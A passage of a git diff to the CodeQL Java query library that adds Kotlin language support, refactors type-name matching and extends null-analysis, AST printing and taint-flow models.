+      msg.regexpMatch("(?i).*\\bThe following code was (?:auto[ -]?)?generated (?:by|from)\\b.*") or
+      msg.regexpMatch("(?i).*\\bAutogenerated by Thrift.*") or
+      msg.regexpMatch("(?i).*\\bGenerated By.*JavaCC.*") or
+      msg.regexpMatch("(?i).*\\bGenerated from .* by ANTLR.*")
     )
   }
 }
diff --git a/java/ql/lib/semmle/code/java/JDK.qll b/java/ql/lib/semmle/code/java/JDK.qll
index f32336ab251..32ef7fd4b18 100644
--- a/java/ql/lib/semmle/code/java/JDK.qll
+++ b/java/ql/lib/semmle/code/java/JDK.qll
@@ -104,6 +104,11 @@ class TypeClassCastException extends Class {
   TypeClassCastException() { this.hasQualifiedName("java.lang", "ClassCastException") }
 }
 
+/** The class `java.lang.NullPointerException`. */
+class TypeNullPointerException extends Class {
+  TypeNullPointerException() { this.hasQualifiedName("java.lang", "NullPointerException") }
+}
+
 /**
  * The class `java.lang.Class`.
  *
@@ -139,18 +144,6 @@ class NumberType extends RefType {
   NumberType() { exists(TypeNumber number | hasDescendant(number, this)) }
 }
 
-/** A numeric type, including both primitive and boxed types. */
-class NumericType extends Type {
-  NumericType() {
-    exists(string name |
-      name = this.(PrimitiveType).getName() or
-      name = this.(BoxedType).getPrimitiveType().getName()
-    |
-      name.regexpMatch("byte|short|int|long|double|float")
-    )
-  }
-}
-
 /** An immutable type. */
 class ImmutableType extends Type {
   ImmutableType() {
diff --git a/java/ql/lib/semmle/code/java/Javadoc.qll b/java/ql/lib/semmle/code/java/Javadoc.qll
index 044ed17f476..23137d3619f 100755
--- a/java/ql/lib/semmle/code/java/Javadoc.qll
+++ b/java/ql/lib/semmle/code/java/Javadoc.qll
@@ -147,3 +147,46 @@ class JavadocText extends JavadocElement, @javadocText {
 
   override string getAPrimaryQlClass() { result = "JavadocText" }
 }
+
+/** A Kotlin comment. */
+class KtComment extends Top, @ktcomment {
+  /** Gets the full text of this comment. */
+  string getText() { ktComments(this, _, result) }
+
+  /** Holds if this comment is an EOL comment. */
+  predicate isEolComment() { ktComments(this, 1, _) }
+
+  /** Holds if this comment is a block comment. */
+  predicate isBlockComment() { ktComments(this, 2, _) }
+
+  /** Holds if this comment is a KDoc comment. */
+  predicate isDocComment() { ktComments(this, 3, _) }
+
+  /** Gets the sections of this comment. */
+  KtCommentSection getSections() { ktCommentSections(result, this, _) }
+
+  /** Gets the owner of this comment, if any. */
+  Top getOwner() { ktCommentOwners(this, result) }
+
+  override string toString() { result = this.getText() }
+
+  override string getAPrimaryQlClass() { result = "KtComment" }
+}
+
+/** A Kotlin comment. */
+class KtCommentSection extends @ktcommentsection {
+  /** Gets the content text of this section. */
+  string getContent() { ktCommentSections(this, _, result) }
+
+  /** Gets the parent comment. */
+  KtComment getParent() { ktCommentSections(this, result, _) }
+
+  /** Gets the section name if any. */
+  string getName() { ktCommentSectionNames(this, result) }
+
+  /** Gets the section subject name if any. */
+  string getSubjectName() { ktCommentSectionSubjectNames(this, result) }
+
+  /** Gets the string representation of this section. */
+  string toString() { result = this.getContent() }
+}
diff --git a/java/ql/lib/semmle/code/java/KotlinType.qll b/java/ql/lib/semmle/code/java/KotlinType.qll
new file mode 100755
index 00000000000..3e5597c5579
--- /dev/null
+++ b/java/ql/lib/semmle/code/java/KotlinType.qll
@@ -0,0 +1,35 @@
+/**
+ * Provides classes and predicates for working with Kotlin types.
+ */
+
+import java
+
+class KotlinType extends Element, @kt_type { }
+
+class KotlinNullableType extends KotlinType, @kt_nullable_type {
+  override string toString() {
+    exists(RefType javaType |
+      kt_nullable_types(this, javaType) and
+      result = "Kotlin nullable " + javaType.toString()
+    )
+  }
+
+  override string getAPrimaryQlClass() { result = "KotlinNullableType" }
+}
+
+class KotlinNotnullType extends KotlinType, @kt_notnull_type {
+  override string toString() {
+    exists(RefType javaType |
+      kt_notnull_types(this, javaType) and
+      result = "Kotlin not-null " + javaType.toString()
+    )
+  }
+
+  override string getAPrimaryQlClass() { result = "KotlinNotnullType" }
+}
+
+class KotlinTypeAlias extends Element, @kt_type_alias {
+  override string getAPrimaryQlClass() { result = "KotlinTypeAlias" }
+
+  KotlinType getKotlinType() { kt_type_alias(this, _, result) }
+}
diff --git a/java/ql/lib/semmle/code/java/Maps.qll b/java/ql/lib/semmle/code/java/Maps.qll
index 784db84fb98..1157cb76f5c 100644
--- a/java/ql/lib/semmle/code/java/Maps.qll
+++ b/java/ql/lib/semmle/code/java/Maps.qll
@@ -40,7 +40,7 @@ class MapMethod extends Method {
 
 /** A method that mutates the map it belongs to. */
 class MapMutator extends MapMethod {
-  MapMutator() { this.getName().regexpMatch("(put.*|remove|clear)") }
+  MapMutator() { pragma[only_bind_into](this).getName().regexpMatch("(put.*|remove|clear)") }
 }
 
 /** The `size` method of `java.util.Map`. */
@@ -53,13 +53,14 @@ class MapMutation extends MethodAccess {
   MapMutation() { this.getMethod() instanceof MapMutator }
 
   /** Holds if the result of this call is not immediately discarded. */
-  predicate resultIsChecked() { not this.getParent() instanceof ExprStmt }
+  predicate resultIsChecked() { not this instanceof ValueDiscardingExpr }
 }
 
 /** A method that queries the contents of the map it belongs to without mutating it. */
 class MapQueryMethod extends MapMethod {
   MapQueryMethod() {
-    this.getName().regexpMatch("get|containsKey|containsValue|entrySet|keySet|values|isEmpty|size")
+    pragma[only_bind_into](this).getName() =
+      ["get", "containsKey", "containsValue", "entrySet", "keySet", "values", "isEmpty", "size"]
   }
 }
 
diff --git a/java/ql/lib/semmle/code/java/Member.qll b/java/ql/lib/semmle/code/java/Member.qll
index a6877ebc17d..ef3546b0af8 100755
--- a/java/ql/lib/semmle/code/java/Member.qll
+++ b/java/ql/lib/semmle/code/java/Member.qll
@@ -61,6 +61,15 @@ class Callable extends StmtParent, Member, @callable {
     methods(this, _, _, result, _, _)
   }
 
+  /**
+   * Gets the declared return Kotlin type of this callable (`Nothing` for
+   * constructors).
+   */
+  KotlinType getReturnKotlinType() {
+    constrsKotlinType(this, result) or
+    methodsKotlinType(this, result)
+  }
+
   /**
    * Gets a callee that may be called from this callable.
    */
@@ -182,6 +191,9 @@ class Callable extends StmtParent, Member, @callable {
   /** Gets the type of the formal parameter at the specified (zero-based) position. */
   Type getParameterType(int n) { params(_, result, n, this, _) }
 
+  /** Gets the type of the formal parameter at the specified (zero-based) position. */
+  KotlinType getParameterKotlinType(int n) { paramsKotlinType(this.getParameter(n), result) }
+
   /**
    * Gets the signature of this callable, including its name and the types of all
    * its parameters, identified by their simple (unqualified) names.
@@ -451,6 +463,20 @@ class Method extends Callable, @method {
     not this.getDeclaringType().isFinal()
   }
 
+  /** Holds if this method is a Kotlin local function. */
+  predicate isLocal() { ktLocalFunction(this) }
+
+  /**
+   * Gets the Kotlin name of this method, that is either the name of this method, or
+   * if `JvmName` annotation was applied to the declaration, then the original name.
+   */
+  string getKotlinName() {
+    ktFunctionOriginalNames(this, result)
+    or
+    not exists(string n | ktFunctionOriginalNames(this, n)) and
+    result = this.getName()
+  }
+
   override string getAPrimaryQlClass() { result = "Method" }
 }
 
@@ -600,6 +626,9 @@ class Field extends Member, ExprParent, @field, Variable {
   /** Gets the declared type of this field. */
   override Type getType() { fields(this, _, result, _, _) }
 
+  /** Gets the Kotlin type of this field. */
+  override KotlinType getKotlinType() { fieldsKotlinType(this, result) }
+
   /** Gets the type in which this field is declared. */
   override RefType getDeclaringType() { fields(this, _, _, result, _) }
 
@@ -620,6 +649,16 @@ class Field extends Member, ExprParent, @field, Variable {
       // (CodeQL models explicit initializer blocks as BlockStmt in initializer methods)
       exprStmt.getParent() = im.getBody()
     )
+    or
+    // Kotlin initializers are more general than Java's, in that they may refer to
+    // primary constructor parameters. This identifies a syntactic initializer, so
+    // `class A { val y = 1 }` is an initializer, as is `class B(x: Int) { val y = x }`,
+    // but `class C { var x: Int; init { x = 1 } }` is not, and neither is
+    // `class D { var x: Int; constructor(y: Int) { x = y } }`
+    exists(KtInitializerAssignExpr e |
+      e.getDest() = this.getAnAccess() and
+      e.getSource() = result
+    )
   }
 
   /**
@@ -670,3 +709,48 @@ class Field extends Member, ExprParent, @field, Variable {
 class InstanceField extends Field {
   InstanceField() { not this.isStatic() }
 }
+
+/** A Kotlin property. */
+class Property extends Element, Modifiable, @kt_property {
+  /** Gets the getter method for this property, if any. */
+  Method getGetter() { ktPropertyGetters(this, result) }
+
+  /** Gets the setter method for this property, if any. */
+  Method getSetter() { ktPropertySetters(this, result) }
+
+  /** Gets the backing field for this property, if any. */
+  Field getBackingField() { ktPropertyBackingFields(this, result) }
+
+  override string getAPrimaryQlClass() { result = "Property" }
+}
+
+/** A Kotlin delegated property. */
+class DelegatedProperty extends Property {
+  Variable underlying;
+
+  DelegatedProperty() { ktPropertyDelegates(this, underlying) }
+
+  /** Holds if this delegated property is declared as a local variable. */
+  predicate isLocal() { underlying instanceof LocalVariableDecl }
+
+  /** Gets the underlying local variable or field to which this property is delegating the calls. */
+  Variable getDelegatee() { result = underlying }
+
+  override string getAPrimaryQlClass() { result = "DelegatedProperty" }
+}
+
+/** A Kotlin extension function. */
+class ExtensionMethod extends Method {
+  Type extendedType;
+  KotlinType extendedKotlinType;
+
+  ExtensionMethod() { ktExtensionFunctions(this, extendedType, extendedKotlinType) }
+
+  /** Gets the type being extended by this method. */
+  Type getExtendedType() { result = extendedType }
+
+  /** Gets the Kotlin type being extended by this method. */
+  KotlinType getExtendedKotlinType() { result = extendedKotlinType }
+
+  override string getAPrimaryQlClass() { result = "ExtensionMethod" }
+}
diff --git a/java/ql/lib/semmle/code/java/Modifier.qll b/java/ql/lib/semmle/code/java/Modifier.qll
index 11317ef8537..d3971e42e59 100755
--- a/java/ql/lib/semmle/code/java/Modifier.qll
+++ b/java/ql/lib/semmle/code/java/Modifier.qll
@@ -42,6 +42,10 @@ abstract class Modifiable extends Element {
   /** Holds if this element has a `final` modifier or is implicitly final. */
   predicate isFinal() { this.hasModifier("final") }
 
+  /** Holds if this element has a `sealed` modifier. */
+  // TODO: `isSealed()` conflicts with `ClassOrInterface.isSealed()`. What name do we want to use here?
+  predicate isSealedKotlin() { this.hasModifier("sealed") }
+
   /** Holds if this element has a `public` modifier or is implicitly public. */
   predicate isPublic() { this.hasModifier("public") }
 
@@ -51,6 +55,9 @@ abstract class Modifiable extends Element {
   /** Holds if this element has a `private` modifier or is implicitly private. */
   predicate isPrivate() { this.hasModifier("private") }
 
+  /** Holds if this element has an `internal` modifier. */
+  predicate isInternal() { this.hasModifier("internal") }
+
   /** Holds if this element has a `volatile` modifier. */
   predicate isVolatile() { this.hasModifier("volatile") }
 
diff --git a/java/ql/lib/semmle/code/java/PrettyPrintAst.qll b/java/ql/lib/semmle/code/java/PrettyPrintAst.qll
index 6cb5769184a..13fb3d85e74 100644
--- a/java/ql/lib/semmle/code/java/PrettyPrintAst.qll
+++ b/java/ql/lib/semmle/code/java/PrettyPrintAst.qll
@@ -272,6 +272,28 @@ private class PpCastExpr extends PpAst, CastExpr {
   }
 }
 
+private class PpSafeCastExpr extends PpAst, SafeCastExpr {
+  override string getPart(int i) { i = 1 and result = "as?" }
+
+  override PpAst getChild(int i) {
+    i = 0 and result = this.getExpr()
+    or
+    i = 2 and result = this.getTypeExpr()
+  }
+}
+
+private class PpImplicitCastExpr extends PpAst, ImplicitCastExpr {
+  override PpAst getChild(int i) { i = 0 and result = this.getExpr() }
+}
+
+private class PpImplicitNotNullExpr extends PpAst, ImplicitNotNullExpr {
+  override PpAst getChild(int i) { i = 0 and result = this.getExpr() }
+}
+
+private class PpImplicitCoercionToUnitExpr extends PpAst, ImplicitCoercionToUnitExpr {
+  override PpAst getChild(int i) { i = 0 and result = this.getExpr() }
+}
+
 private class PpCall extends PpAst, Call {
   override string getPart(int i) {
     i = 1 and exists(this.getQualifier()) and result = "."
diff --git a/java/ql/lib/semmle/code/java/PrintAst.qll b/java/ql/lib/semmle/code/java/PrintAst.qll
index 9527787e3a4..05453baa045 100644
--- a/java/ql/lib/semmle/code/java/PrintAst.qll
+++ b/java/ql/lib/semmle/code/java/PrintAst.qll
@@ -7,6 +7,7 @@
  */
 
 import java
+import semmle.code.java.regex.RegexTreeView
 
 private newtype TPrintAstConfiguration = MkPrintAstConfiguration()
 
@@ -68,7 +69,8 @@ private predicate isNotNeeded(Element el) {
     el.(ExprOrStmt).getEnclosingCallable() = c
   |
     el.getLocation().hasLocationInfo(_, sline, eline, scol, ecol) and
-    c.getLocation().hasLocationInfo(_, sline, eline, scol, ecol)
+    c.getLocation().hasLocationInfo(_, sline, eline, scol, ecol) and
+    not c.getFile().isKotlinSourceFile() // Kotlin constructor bodies have the same location as the constructor
     // simply comparing their getLocation() doesn't work as they have distinct but equivalent locations
   )
   or
@@ -131,6 +133,9 @@ private newtype TPrintAstNode =
   } or
   TImportsNode(CompilationUnit cu) {
     shouldPrint(cu, _) and exists(Import i | i.getCompilationUnit() = cu)
+  } or
+  TRegExpTermNode(RegExpTerm term) {
+    exists(StringLiteral str | term.getRootTerm() = getParsedRegExp(str) and shouldPrint(str, _))
   }
 
 /**
@@ -163,6 +168,19 @@ class PrintAstNode extends TPrintAstNode {
    */
   Location getLocation() { none() }
 
+  /**
+   * Holds if this node is at the specified location.
+   * The location spans column `startcolumn` of line `startline` to
+   * column `endcolumn` of line `endline` in file `filepath`.
+   * For more information, see
+   * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/).
+   */
+  predicate hasLocationInfo(
+    string filepath, int startline, int startcolumn, int endline, int endcolumn
+  ) {
+    this.getLocation().hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn)
+  }
+
   /**
    * Gets the value of the property of this node, where the name of the property
    * is `key`.
@@ -240,6 +258,21 @@ class ExprStmtNode extends ElementNode {
   }
 }
 
+/**
+ * A node representing a `KtInitializerAssignExpr`.
+ */
+class KtInitializerNode extends ExprStmtNode {
+  KtInitializerNode() { element instanceof KtInitializerAssignExpr }
+
+  override PrintAstNode getChild(int childIndex) {
+    // Remove the RHS of the initializer, because otherwise
+    // it appears as both the initializer's child and the
+    // initialize of the related field, producing a DAG not
+    // a tree and consequently unreadable output.
+    result = super.getChild(childIndex) and childIndex = 0
+  }
+}
+
 /**
  * Holds if the given expression is part of an annotation.
  */
@@ -274,6 +307,47 @@ final class AnnotationPartNode extends ExprStmtNode {
   }
 }
 
+/**
+ * A node representing a `StringLiteral`.
+ * If it is used as a regular expression, then it has a single child, the root of the parsed regular expression.
+ */
+final class StringLiteralNode extends ExprStmtNode {
+  StringLiteralNode() { element instanceof StringLiteral }
+
+  override PrintAstNode getChild(int childIndex) {
+    childIndex = 0 and
+    result.(RegExpTermNode).getTerm() = getParsedRegExp(element)
+  }
+}
+
+/**
+ * A node representing a regular expression term.
+ */
+class RegExpTermNode extends TRegExpTermNode, PrintAstNode {
+  RegExpTerm term;
+
+  RegExpTermNode() { this = TRegExpTermNode(term) }
+
+  /** Gets the `RegExpTerm` for this node. */
+  RegExpTerm getTerm() { result = term }
+
+  override PrintAstNode getChild(int childIndex) {
+    result.(RegExpTermNode).getTerm() = term.getChild(childIndex)
+  }
+
+  override string toString() {
+    result = "[" + strictconcat(term.getPrimaryQLClass(), " | ") + "] " + term.toString()
+  }
+
+  override Location getLocation() { result = term.getLocation() }
+
+  override predicate hasLocationInfo(
+    string filepath, int startline, int startcolumn, int endline, int endcolumn
+  ) {
+    term.hasLocationInfo(filepath, startline, startcolumn, endline, endcolumn)
+  }
+}
+
 /**
  * A node representing a `LocalVariableDeclExpr`.
  */
@@ -298,7 +372,8 @@ final class ClassInstanceExprNode extends ExprStmtNode {
     result = super.getChild(childIndex)
     or
     childIndex = -4 and
-    result.getElement() = element.(ClassInstanceExpr).getAnonymousClass()
+    result.getElement() = element.(ClassInstanceExpr).getAnonymousClass() and
+    not result.getElement() instanceof LocalClassOrInterface // Kotlin anonymous classes are extracted as local classes too.
   }
 }
 
diff --git a/java/ql/lib/semmle/code/java/Statement.qll b/java/ql/lib/semmle/code/java/Statement.qll
index d068aa718c7..bbd2d15a47b 100755
--- a/java/ql/lib/semmle/code/java/Statement.qll
+++ b/java/ql/lib/semmle/code/java/Statement.qll
@@ -887,3 +887,27 @@ class SuperConstructorInvocationStmt extends Stmt, ConstructorCall, @superconstr
 
   override string getAPrimaryQlClass() { result = "SuperConstructorInvocationStmt" }
 }
+
+/** A Kotlin loop statement. */
+class KtLoopStmt extends Stmt, @ktloopstmt {
+  KtLoopStmt() {
+    this instanceof WhileStmt or
+    this instanceof DoStmt
+  }
+}
+
+/** A Kotlin `break` or `continue` statement. */
+abstract class KtBreakContinueStmt extends Stmt, @breakcontinuestmt {
+  KtLoopStmt loop;
+
+  KtBreakContinueStmt() { ktBreakContinueTargets(this, loop) }
+
+  /** Gets the target loop statement of this `break`. */
+  KtLoopStmt getLoopStmt() { result = loop }
+}
+
+/** A Kotlin `break` statement. */
+class KtBreakStmt extends BreakStmt, KtBreakContinueStmt { }
+
+/** A Kotlin `continue` statement. */
+class KtContinueStmt extends ContinueStmt, KtBreakContinueStmt { }
diff --git a/java/ql/lib/semmle/code/java/Type.qll b/java/ql/lib/semmle/code/java/Type.qll
index a6977e954e1..a37f9810c44 100755
--- a/java/ql/lib/semmle/code/java/Type.qll
+++ b/java/ql/lib/semmle/code/java/Type.qll
@@ -698,6 +698,22 @@ class Class extends ClassOrInterface, @class {
   override string getAPrimaryQlClass() { result = "Class" }
 }
 
+/** A Kotlin `object`. */
+class ClassObject extends Class {
+  ClassObject() { class_object(this, _) }
+
+  /** Gets the instance variable that implements this `object`. */
+  Field getInstance() { class_object(this, result) }
+}
+
+/** A Kotlin `companion object`. */
+class CompanionObject extends Class {
+  CompanionObject() { type_companion_object(_, _, this) }
+
+  /** Gets the instance variable that implements this `companion object`. */
+  Field getInstance() { type_companion_object(_, result, this) }
+}
+
 /**
  * A record declaration.
  */
@@ -935,6 +951,9 @@ class ClassOrInterface extends RefType, @classorinterface {
 
   /** Holds if this class or interface is explicitly or implicitly a sealed class (Java 17 feature). */
   predicate isSealed() { exists(this.getAPermittedSubtype()) }
+
+  /** Get the companion object of this class or interface, if any. */
+  CompanionObject getCompanionObject() { type_companion_object(this, _, result) }
 }
 
 private string getAPublicObjectMethodSignature() {
@@ -983,7 +1002,9 @@ class FunctionalInterface extends Interface {
  * and `double`.
  */
 class PrimitiveType extends Type, @primitive {
-  PrimitiveType() { this.getName().regexpMatch("float|double|int|boolean|short|byte|char|long") }
+  PrimitiveType() {
+    this.getName() = ["float", "double", "int", "boolean", "short", "byte", "char", "long"]
+  }
 
   /** Gets the boxed type corresponding to this primitive type. */
   BoxedType getBoxedType() { result.getPrimitiveType() = this }
@@ -1198,9 +1219,9 @@ predicate erasedHaveIntersection(RefType t1, RefType t2) {
 class IntegralType extends Type {
   IntegralType() {
     exists(string name |
-      name = this.(PrimitiveType).getName() or name = this.(BoxedType).getPrimitiveType().getName()
+      name = [this.(PrimitiveType).getName(), this.(BoxedType).getPrimitiveType().getName()]
     |
-      name.regexpMatch("byte|char|short|int|long")
+      name = ["byte", "char", "short", "int", "long"]
     )
   }
 }
@@ -1209,7 +1230,7 @@ class IntegralType extends Type {
 class BooleanType extends Type {
   BooleanType() {
     exists(string name |
-      name = this.(PrimitiveType).getName() or name = this.(BoxedType).getPrimitiveType().getName()
+      name = [this.(PrimitiveType).getName(), this.(BoxedType).getPrimitiveType().getName()]
     |
       name = "boolean"
     )
@@ -1220,20 +1241,31 @@ class BooleanType extends Type {
 class CharacterType extends Type {
   CharacterType() {
     exists(string name |
-      name = this.(PrimitiveType).getName() or name = this.(BoxedType).getPrimitiveType().getName()
+      name = [this.(PrimitiveType).getName(), this.(BoxedType).getPrimitiveType().getName()]
     |
       name = "char"
     )
   }
 }
 
+/** A numeric type, including both primitive and boxed types. */
+class NumericType extends Type {
+  NumericType() {
+    exists(string name |
+      name = [this.(PrimitiveType).getName(), this.(BoxedType).getPrimitiveType().getName()]
+    |
+      name = ["byte", "short", "int", "long", "double", "float"]
+    )
+  }
+}
+
 /** A numeric or character type, which may be either a primitive or a boxed type. */
 class NumericOrCharType extends Type {
   NumericOrCharType() {
     exists(string name |
-      name = this.(PrimitiveType).getName() or name = this.(BoxedType).getPrimitiveType().getName()
+      name = [this.(PrimitiveType).getName(), this.(BoxedType).getPrimitiveType().getName()]
     |
-      name.regexpMatch("byte|char|short|int|long|double|float")
+      name = ["byte", "char", "short", "int", "long", "double", "float"]
     )
   }
 }
@@ -1242,9 +1274,9 @@ class NumericOrCharType extends Type {
 class FloatingPointType extends Type {
   FloatingPointType() {
     exists(string name |
-      name = this.(PrimitiveType).getName() or name = this.(BoxedType).getPrimitiveType().getName()
+      name = [this.(PrimitiveType).getName(), this.(BoxedType).getPrimitiveType().getName()]
     |
-      name.regexpMatch("float|double")
+      name = ["float", "double"]
     )
   }
 }
diff --git a/java/ql/lib/semmle/code/java/Variable.qll b/java/ql/lib/semmle/code/java/Variable.qll
index 530ddd4eae7..7be49acf546 100755
--- a/java/ql/lib/semmle/code/java/Variable.qll
+++ b/java/ql/lib/semmle/code/java/Variable.qll
@@ -9,6 +9,9 @@ class Variable extends @variable, Annotatable, Element, Modifiable {
   /** Gets the type of this variable. */
   /*abstract*/ Type getType() { none() }
 
+  /** Gets the Kotlin type of this variable. */
+  /*abstract*/ KotlinType getKotlinType() { none() }
+
   /** Gets an access to this variable. */
   VarAccess getAnAccess() { variableBinding(result, this) }
 
@@ -37,6 +40,9 @@ class LocalVariableDecl extends @localvar, LocalScopeVariable {
   /** Gets the type of this local variable. */
   override Type getType() { localvars(this, _, result, _) }
 
+  /** Gets the Kotlin type of this local variable. */
+  override KotlinType getKotlinType() { localvarsKotlinType(this, result) }
+
   /** Gets the expression declaring this variable. */
   LocalVariableDeclExpr getDeclExpr() { localvars(this, _, _, result) }
 
@@ -62,6 +68,9 @@ class Parameter extends Element, @param, LocalScopeVariable {
   /** Gets the type of this formal parameter. */
   override Type getType() { params(this, result, _, _, _) }
 
+  /** Gets the Kotlin type of this formal parameter. */
+  override KotlinType getKotlinType() { paramsKotlinType(this, result) }
+
   /** Holds if the parameter is never assigned a value in the body of the callable. */
   predicate isEffectivelyFinal() { not exists(this.getAnAssignedValue()) }
 
@@ -80,6 +89,11 @@ class Parameter extends Element, @param, LocalScopeVariable {
   /** Holds if this formal parameter is a variable arity parameter. */
   predicate isVarargs() { isVarargsParam(this) }
 
+  /** Holds if this formal parameter is a parameter representing the dispatch receiver in an extension method. */
+  predicate isExtensionParameter() {
+    this.getPosition() = 0 and this.getCallable() instanceof ExtensionMethod
+  }
+
   /**
    * Gets an argument for this parameter in any call to the callable that declares this formal
    * parameter.
diff --git a/java/ql/lib/semmle/code/java/controlflow/UnreachableBlocks.qll b/java/ql/lib/semmle/code/java/controlflow/UnreachableBlocks.qll
index 055671f7592..89a9f08850d 100644
--- a/java/ql/lib/semmle/code/java/controlflow/UnreachableBlocks.qll
+++ b/java/ql/lib/semmle/code/java/controlflow/UnreachableBlocks.qll
@@ -133,12 +133,12 @@ class ConstantExpr extends Expr {
       )
       or
       (
-        b instanceof EQExpr and
+        b instanceof ValueOrReferenceEqualsExpr and
         if left = right then result = true else result = false
       )
       or
       (
-        b instanceof NEExpr and
+        b instanceof ValueOrReferenceNotEqualsExpr and
         if left != right then result = true else result = false
       )
     )
diff --git a/java/ql/lib/semmle/code/java/dataflow/ExternalFlow.qll b/java/ql/lib/semmle/code/java/dataflow/ExternalFlow.qll
index f3ac4a041b6..3aa228c5c9c 100644
--- a/java/ql/lib/semmle/code/java/dataflow/ExternalFlow.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/ExternalFlow.qll
@@ -102,8 +102,10 @@ private module Frameworks {
   private import semmle.code.java.frameworks.JsonJava
   private import semmle.code.java.frameworks.Logging
   private import semmle.code.java.frameworks.Objects
+  private import semmle.code.java.frameworks.OkHttp
   private import semmle.code.java.frameworks.Optional
   private import semmle.code.java.frameworks.Regex
+  private import semmle.code.java.frameworks.Retrofit
   private import semmle.code.java.frameworks.Stream
   private import semmle.code.java.frameworks.Strings
   private import semmle.code.java.frameworks.ratpack.Ratpack
@@ -140,6 +142,8 @@ private module Frameworks {
   private import semmle.code.java.frameworks.jOOQ
   private import semmle.code.java.frameworks.JMS
   private import semmle.code.java.frameworks.RabbitMQ
+  private import semmle.code.java.regex.RegexFlowModels
+  private import semmle.code.java.frameworks.KotlinStdLib
 }
 
 private predicate sourceModelCsv(string row) {
@@ -300,8 +304,12 @@ private predicate summaryModelCsv(string row) {
       "java.net;URI;false;toURL;;;Argument[-1];ReturnValue;taint",
       "java.net;URI;false;toString;;;Argument[-1];ReturnValue;taint",
       "java.net;URI;false;toAsciiString;;;Argument[-1];ReturnValue;taint",
-      "java.io;File;false;toURI;;;Argument[-1];ReturnValue;taint",
-      "java.io;File;false;toPath;;;Argument[-1];ReturnValue;taint",
+      "java.io;File;true;toURI;;;Argument[-1];ReturnValue;taint",
+      "java.io;File;true;toPath;;;Argument[-1];ReturnValue;taint",
+      "java.io;File;true;getAbsoluteFile;;;Argument[-1];ReturnValue;taint",
+      "java.io;File;true;getCanonicalFile;;;Argument[-1];ReturnValue;taint",
+      "java.io;File;true;getAbsolutePath;;;Argument[-1];ReturnValue;taint",
+      "java.io;File;true;getCanonicalPath;;;Argument[-1];ReturnValue;taint",
       "java.nio;ByteBuffer;false;array;();;Argument[-1];ReturnValue;taint",
       "java.nio.file;Path;false;toFile;;;Argument[-1];ReturnValue;taint",
       "java.io;BufferedReader;true;readLine;;;Argument[-1];ReturnValue;taint",
diff --git a/java/ql/lib/semmle/code/java/dataflow/FlowSources.qll b/java/ql/lib/semmle/code/java/dataflow/FlowSources.qll
index d90e96e7898..2c44d7a15b6 100644
--- a/java/ql/lib/semmle/code/java/dataflow/FlowSources.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/FlowSources.qll
@@ -272,6 +272,7 @@ class ExportedAndroidContentProviderInput extends RemoteFlowSource, AndroidConte
  * calls `startActivityForResult` with an implicit Intent.
  */
 class OnActivityResultIntentSource extends OnActivityResultIncomingIntent, RemoteFlowSource {
+  cached
   OnActivityResultIntentSource() { this.isRemoteSource() }
 
   override string getSourceType() { result = "Android onActivityResult incoming Intent" }
diff --git a/java/ql/lib/semmle/code/java/dataflow/FlowSummary.qll b/java/ql/lib/semmle/code/java/dataflow/FlowSummary.qll
index c80e026b6c7..1792c2e9f11 100644
--- a/java/ql/lib/semmle/code/java/dataflow/FlowSummary.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/FlowSummary.qll
@@ -1,5 +1,5 @@
 /**
- * Provides classes and predicates for definining flow summaries.
+ * Provides classes and predicates for defining flow summaries.
  */
 
 import java
diff --git a/java/ql/lib/semmle/code/java/dataflow/NullGuards.qll b/java/ql/lib/semmle/code/java/dataflow/NullGuards.qll
index 849750783e7..6cfd1236319 100644
--- a/java/ql/lib/semmle/code/java/dataflow/NullGuards.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/NullGuards.qll
@@ -12,7 +12,7 @@ private import IntegerGuards
 /** Gets an expression that is always `null`. */
 Expr alwaysNullExpr() {
   result instanceof NullLiteral or
-  result.(CastExpr).getExpr() = alwaysNullExpr()
+  result.(CastingExpr).getExpr() = alwaysNullExpr()
 }
 
 /** Gets an equality test between an expression `e` and an enum constant `c`. */
@@ -33,6 +33,8 @@ InstanceOfExpr instanceofExpr(SsaVariable v, RefType type) {
 /**
  * Gets an expression of the form `v1 == v2` or `v1 != v2`.
  * The predicate is symmetric in `v1` and `v2`.
+ *
+ * Note this includes Kotlin's `==` and `!=` operators, which are value-equality tests.
  */
 EqualityTest varEqualityTestExpr(SsaVariable v1, SsaVariable v2, boolean isEqualExpr) {
   result.hasOperands(v1.getAUse(), v2.getAUse()) and
@@ -62,6 +64,12 @@ Expr clearlyNotNullExpr(Expr reason) {
   or
   result.(CastExpr).getExpr() = clearlyNotNullExpr(reason)
   or
+  result.(ImplicitCastExpr).getExpr() = clearlyNotNullExpr(reason)
+  or
+  result instanceof ImplicitNotNullExpr and reason = result
+  or
+  result instanceof ImplicitCoercionToUnitExpr and reason = result
+  or
   result.(AssignExpr).getSource() = clearlyNotNullExpr(reason)
   or
   exists(ConditionalExpr c, Expr r1, Expr r2 |
diff --git a/java/ql/lib/semmle/code/java/dataflow/Nullness.qll b/java/ql/lib/semmle/code/java/dataflow/Nullness.qll
index 1e6fbe619d1..507da2904f4 100644
--- a/java/ql/lib/semmle/code/java/dataflow/Nullness.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/Nullness.qll
@@ -47,7 +47,9 @@ Expr nullExpr() {
   result instanceof NullLiteral or
   result.(ChooseExpr).getAResultExpr() = nullExpr() or
   result.(AssignExpr).getSource() = nullExpr() or
-  result.(CastExpr).getExpr() = nullExpr()
+  result.(CastExpr).getExpr() = nullExpr() or
+  result.(ImplicitCastExpr).getExpr() = nullExpr() or
+  result instanceof SafeCastExpr
 }
 
 /** An expression of a boxed type that is implicitly unboxed. */
@@ -112,7 +114,8 @@ predicate dereference(Expr e) {
   or
   exists(ArrayAccess aa | aa.getArray() = e)
   or
-  exists(CastExpr cast |
+  exists(CastingExpr cast |
+    (cast instanceof CastExpr or cast instanceof ImplicitCastExpr) and
     cast.getExpr() = e and
     e.getType() instanceof BoxedType and
     cast.getType() instanceof PrimitiveType
diff --git a/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll b/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll
index 47c3cdd9db6..a72b3c67b06 100644
--- a/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/RangeAnalysis.qll
